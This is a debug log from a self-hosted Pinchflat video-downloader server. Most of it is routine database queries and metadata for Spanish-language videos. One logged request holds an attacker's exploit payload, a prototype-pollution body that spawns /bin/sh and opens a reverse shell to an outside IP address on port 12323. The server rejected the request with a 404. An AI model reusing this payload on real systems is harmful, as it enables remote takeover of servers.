"description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Si tienes reuniones todos los días este es tu video! Os vamos a liberar de un montón de horas en el próximo mes... y ni te cuento en el resto de tu vida...\nPero tienes que hacernos caso!!! 😉 \n\n 👉 x 10 minutos te ahorramos 10horas en los dos proximos meses... trato????\n\n💡Hoy os explicamos como usar las IA's de reuniones, no solo para reunirte de una manera 2 o 3 veces mas eficiente, sino también para hacer consultoría, ser secretario del comité/consejo/junta... o lo que se pueda ocurrir.\n\n💣Bonus Track: Esta es de las charlas mas practicas que damos... y os proponemos un reto.. si 20 agregáis en comentarios que queréis que hagamos un directo una tarde para explicarlo en detalle... así lo haremos!. \n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#fireflies hashtag#Copilot\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "EP.15: IAS DE REUNIONES", "38f3720d-fcc8-4fa4-8c73-ae61dcb55329", 710, false, "sgGpVi5I_q8", "https://www.youtube.com/watch?v=sgGpVi5I_q8", 34, "/downloads/music/IA mí QUÉ/EP.15: IAS DE REUNIONES.m4a", false, false, false, 2, [], 97, ~U[2025-06-26 13:12:59Z], ~U[2026-02-07 21:25:08Z], ~U[2026-02-07 21:25:08Z], "Si tienes reuniones todos los días este es tu video! Os vamos a liberar de un montón de horas en el próximo mes... y ni te cuento en el resto de tu vida...\nPero tienes que hacernos caso!!! 😉 \n\n 👉 x 10 minutos te ahorramos 10horas en los dos proximos meses... trato????\n\n💡Hoy os explicamos como usar las IA's de reuniones, no solo para reunirte de una manera 2 o 3 veces mas eficiente, sino también para hacer consultoría, ser secretario del comité/consejo/junta... o lo que se pueda ocurrir.\n\n💣Bonus Track: Esta es de las charlas mas practicas que damos... y os proponemos un reto.. si 20 agregáis en comentarios que queréis que hagamos un directo una tarde para explicarlo en detalle... así lo haremos!. \n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#fireflies hashtag#Copilot\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "EP.15: IAS DE REUNIONES", 710, false, "sgGpVi5I_q8", "https://www.youtube.com/watch?v=sgGpVi5I_q8", "/downloads/music/IA mí QUÉ/EP.15: IAS DE REUNIONES.m4a", false, 2, ~U[2025-06-26 13:12:59Z]] 22:25:08.633 [debug] QUERY OK source="sources" db=0.4ms idle=317.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:25:08.634 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:25:08.635 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1336] 22:25:08.635 [debug] Current batch of media processed. Will check again in 1000ms 22:25:08.690 [debug] Current batch of media processed. Will check again in 1000ms 22:25:09.636 [debug] Current batch of media processed. Will check again in 1000ms 22:25:09.691 [debug] Current batch of media processed. Will check again in 1000ms 22:25:10.637 [debug] Current batch of media processed. Will check again in 1000ms 22:25:10.692 [debug] Current batch of media processed. Will check again in 1000ms 22:25:11.638 [debug] Current batch of media processed. Will check again in 1000ms 22:25:11.693 [debug] Current batch of media processed. Will check again in 1000ms 22:25:12.639 [debug] Current batch of media processed. Will check again in 1000ms 22:25:12.694 [debug] Current batch of media processed. Will check again in 1000ms 22:25:13.640 [debug] Current batch of media processed. Will check again in 1000ms 22:25:13.695 [debug] Current batch of media processed. Will check again in 1000ms 22:25:14.641 [debug] Current batch of media processed. Will check again in 1000ms 22:25:14.696 [debug] Current batch of media processed. Will check again in 1000ms 22:25:15.642 [debug] Current batch of media processed. Will check again in 1000ms 22:25:15.697 [debug] Current batch of media processed. Will check again in 1000ms 22:25:16.643 [debug] Current batch of media processed. Will check again in 1000ms 22:25:16.698 [debug] Current batch of media processed. Will check again in 1000ms 22:25:17.644 [debug] Current batch of media processed. Will check again in 1000ms 22:25:17.699 [debug] Current batch of media processed. Will check again in 1000ms 22:25:18.645 [debug] Current batch of media processed. Will check again in 1000ms 22:25:18.700 [debug] Current batch of media processed. Will check again in 1000ms 22:25:19.646 [debug] Current batch of media processed. Will check again in 1000ms 22:25:19.701 [debug] Current batch of media processed. Will check again in 1000ms 22:25:20.647 [debug] Current batch of media processed. Will check again in 1000ms 22:25:20.702 [debug] Current batch of media processed. Will check again in 1000ms 22:25:21.188 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:21.648 [debug] Current batch of media processed. Will check again in 1000ms 22:25:21.703 [debug] Current batch of media processed. Will check again in 1000ms 22:25:22.649 [debug] Current batch of media processed. Will check again in 1000ms 22:25:22.704 [debug] Current batch of media processed. Will check again in 1000ms 22:25:23.650 [debug] Current batch of media processed. Will check again in 1000ms 22:25:23.705 [debug] Current batch of media processed. Will check again in 1000ms 22:25:24.651 [debug] Current batch of media processed. Will check again in 1000ms 22:25:24.706 [debug] Current batch of media processed. Will check again in 1000ms 22:25:25.652 [debug] Current batch of media processed. Will check again in 1000ms 22:25:25.707 [debug] Current batch of media processed. Will check again in 1000ms 22:25:26.653 [debug] Current batch of media processed. Will check again in 1000ms 22:25:26.708 [debug] Current batch of media processed. Will check again in 1000ms 22:25:27.654 [debug] Current batch of media processed. Will check again in 1000ms 22:25:27.710 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Para los principiantes, algunas nociones sobre soldadores y como soldar/desoldar, a un nivel muy básico.\n\n#soldador #cautin #jbc #898D #T12 #principiantes #electrónica #diyelectronics #hamradio #radioafición #radioaficionados \n\nContenido del video\n00:00 - Presentación\n01:02 - Intro canal\n01:20 - Soldadores mas comunes\n06:57 - Estaño con plomo y sin plomo\n09:58 - Desoldadores\n12:23 - Como soldar\n16:35 - Pruebas en placa SMD\n27:35 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1835, "filename" => "/downloads/music/ea3grn/145 - SOLDAR Y SOLDADORES, UNA INTRODUCCION PARA NOVATOS.m4a", "id" => "ew3QrU_AgaI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ew3QrU_AgaI", "playlist_index" => 36, "timestamp" => 1738955657, "title" => "145 - SOLDAR Y SOLDADORES, UNA INTRODUCCION PARA NOVATOS", "upload_date" => "20250207"} 22:25:27.713 [debug] QUERY OK source="sources" db=0.6ms queue=0.3ms idle=1951.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:25:27.714 [debug] QUERY OK source="sources" db=0.3ms idle=1953.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:25:27.715 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=1367.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-07 19:14:17Z], 3] 22:25:27.718 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=956.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Para los principiantes, algunas nociones sobre soldadores y como soldar/desoldar, a un nivel muy básico.\n\n#soldador #cautin #jbc #898D #T12 #principiantes #electrónica #diyelectronics #hamradio #radioafición #radioaficionados \n\nContenido del video\n00:00 - Presentación\n01:02 - Intro canal\n01:20 - Soldadores mas comunes\n06:57 - Estaño con plomo y sin plomo\n09:58 - Desoldadores\n12:23 - Como soldar\n16:35 - Pruebas en placa SMD\n27:35 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "145 - SOLDAR Y SOLDADORES, UNA INTRODUCCION PARA NOVATOS", "b6141610-8fdf-4140-8e4c-419c1a01b8c2", 1835, false, "ew3QrU_AgaI", "https://www.youtube.com/watch?v=ew3QrU_AgaI", 36, "/downloads/music/ea3grn/145 - SOLDAR Y SOLDADORES, UNA INTRODUCCION PARA NOVATOS.m4a", false, false, false, 3, [], 98, ~U[2025-02-07 19:14:17Z], ~U[2026-02-07 21:25:27Z], ~U[2026-02-07 21:25:27Z], "Para los principiantes, algunas nociones sobre soldadores y como soldar/desoldar, a un nivel muy básico.\n\n#soldador #cautin #jbc #898D #T12 #principiantes #electrónica #diyelectronics #hamradio #radioafición #radioaficionados \n\nContenido del video\n00:00 - Presentación\n01:02 - Intro canal\n01:20 - Soldadores mas comunes\n06:57 - Estaño con plomo y sin plomo\n09:58 - Desoldadores\n12:23 - Como soldar\n16:35 - Pruebas en placa SMD\n27:35 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "145 - SOLDAR Y SOLDADORES, UNA INTRODUCCION PARA NOVATOS", 1835, false, "ew3QrU_AgaI", "https://www.youtube.com/watch?v=ew3QrU_AgaI", "/downloads/music/ea3grn/145 - SOLDAR Y SOLDADORES, UNA INTRODUCCION PARA NOVATOS.m4a", false, 3, ~U[2025-02-07 19:14:17Z]] 22:25:27.719 [debug] QUERY OK source="sources" db=0.5ms idle=368.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:25:27.720 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:25:27.721 [debug] QUERY OK source="media_items" db=0.6ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1363] 22:25:27.721 [debug] Current batch of media processed. Will check again in 1000ms 22:25:28.655 [debug] Current batch of media processed. Will check again in 1000ms 22:25:28.721 [debug] Current batch of media processed. Will check again in 1000ms 22:25:29.656 [debug] Current batch of media processed. Will check again in 1000ms 22:25:29.722 [debug] Current batch of media processed. Will check again in 1000ms 22:25:30.657 [debug] Current batch of media processed. Will check again in 1000ms 22:25:30.723 [debug] Current batch of media processed. Will check again in 1000ms 22:25:31.658 [debug] Current batch of media processed. Will check again in 1000ms 22:25:31.724 [debug] Current batch of media processed. Will check again in 1000ms 22:25:32.659 [debug] Current batch of media processed. Will check again in 1000ms 22:25:32.725 [debug] Current batch of media processed. Will check again in 1000ms 22:25:33.660 [debug] Current batch of media processed. Will check again in 1000ms 22:25:33.726 [debug] Current batch of media processed. Will check again in 1000ms 22:25:34.661 [debug] Current batch of media processed. Will check again in 1000ms 22:25:34.727 [debug] Current batch of media processed. Will check again in 1000ms 22:25:35.662 [debug] Current batch of media processed. Will check again in 1000ms 22:25:35.728 [debug] Current batch of media processed. Will check again in 1000ms 22:25:36.663 [debug] Current batch of media processed. Will check again in 1000ms 22:25:36.729 [debug] Current batch of media processed. Will check again in 1000ms 22:25:37.664 [debug] Current batch of media processed. Will check again in 1000ms 22:25:37.730 [debug] Current batch of media processed. Will check again in 1000ms 22:25:38.665 [debug] Current batch of media processed. Will check again in 1000ms 22:25:38.731 [debug] Current batch of media processed. Will check again in 1000ms 22:25:39.666 [debug] Current batch of media processed. Will check again in 1000ms 22:25:39.732 [debug] Current batch of media processed. Will check again in 1000ms 22:25:40.667 [debug] Current batch of media processed. Will check again in 1000ms 22:25:40.733 [debug] Current batch of media processed. Will check again in 1000ms 22:25:41.668 [debug] Current batch of media processed. Will check again in 1000ms 22:25:41.734 [debug] Current batch of media processed. Will check again in 1000ms 22:25:42.669 [debug] Current batch of media processed. Will check again in 1000ms 22:25:42.735 [debug] Current batch of media processed. Will check again in 1000ms 22:25:43.670 [debug] Current batch of media processed. Will check again in 1000ms 22:25:43.736 [debug] Current batch of media processed. Will check again in 1000ms 22:25:44.671 [debug] Current batch of media processed. Will check again in 1000ms 22:25:44.737 [debug] Current batch of media processed. Will check again in 1000ms 22:25:45.672 [debug] Current batch of media processed. Will check again in 1000ms 22:25:45.738 [debug] Current batch of media processed. Will check again in 1000ms 22:25:46.638 [info] POST / 22:25:46.642 [debug] QUERY OK source="settings" db=0.6ms idle=1880.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:25:46.642 [debug] QUERY OK source="settings" db=0.5ms idle=1881.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:25:46.643 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:25:46.644 [error] #PID<0.2839.0> running PinchflatWeb.Endpoint (connection #PID<0.2838.0>, stream id 1) terminated Server: 141.145.209.211:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2838.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "141.145.209.211", peer: {{172, 22, 0, 1}, 58882}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "upgrade", "content-length" => "623", "content-type" => "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad", "host" => "141.145.209.211", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "193.142.147.209", "x-forwarded-proto" => "https", "x-real-ip" => "193.142.147.209" }, method: "POST", body_length: 623, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('/bin/sh',[]),cl=new n.Socket();cl.connect(12323,'193.142.147.209',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}", "1" => "\"$@0\"" }, cookies: %{}, halted: false, host: "141.145.209.211", method: "POST", owner: #PID<0.2839.0>, params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('/bin/sh',[]),cl=new n.Socket();cl.connect(12323,'193.142.147.209',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}", "1" => "\"$@0\"" }, path_info: [], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://141.145.209.211", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 22, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "upgrade"}, {"content-length", "623"}, {"content-type", "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"}, {"host", "141.145.209.211"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "193.142.147.209"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "193.142.147.209"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJIT9Qhd8gSJDAEAABjR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2838.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "141.145.209.211", peer: {{172, 22, 0, 1}, 58882}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "upgrade", "content-length" => "623", "content-type" => "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad", "host" => "141.145.209.211", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "193.142.147.209", "x-forwarded-proto" => "https", "x-real-ip" => "193.142.147.209" }, method: "POST", body_length: 623, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2838.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "141.145.209.211", peer: {{172, 22, 0, 1}, 58882}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "upgrade", "content-length" => "623", "content-type" => "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad", "host" => "141.145.209.211", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "193.142.147.209", "x-forwarded-proto" => "https", "x-real-ip" => "193.142.147.209" }, method: "POST", body_length: 623, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('/bin/sh',[]),cl=new n.Socket();cl.connect(12323,'193.142.147.209',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl (truncated) 22:25:46.673 [debug] Current batch of media processed. Will check again in 1000ms 22:25:46.739 [debug] Current batch of media processed. Will check again in 1000ms 22:25:46.915 [info] GET / 22:25:46.915 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:25:46.916 [debug] QUERY OK source="settings" db=0.3ms queue=0.3ms idle=531.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:25:46.917 [debug] QUERY OK source="media_profiles" db=0.5ms idle=274.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:25:46.917 [debug] QUERY OK source="sources" db=0.4ms idle=274.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:25:46.918 [debug] QUERY OK source="media_items" db=1.0ms idle=156.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:25:46.919 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=158.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:25:46.920 [debug] QUERY OK source="settings" db=0.3ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:25:46.920 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:25:46.922 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:25:46.924 [debug] QUERY OK source="media_items" db=0.6ms idle=5.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:25:46.926 [debug] QUERY OK source="media_items" db=0.9ms idle=5.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", 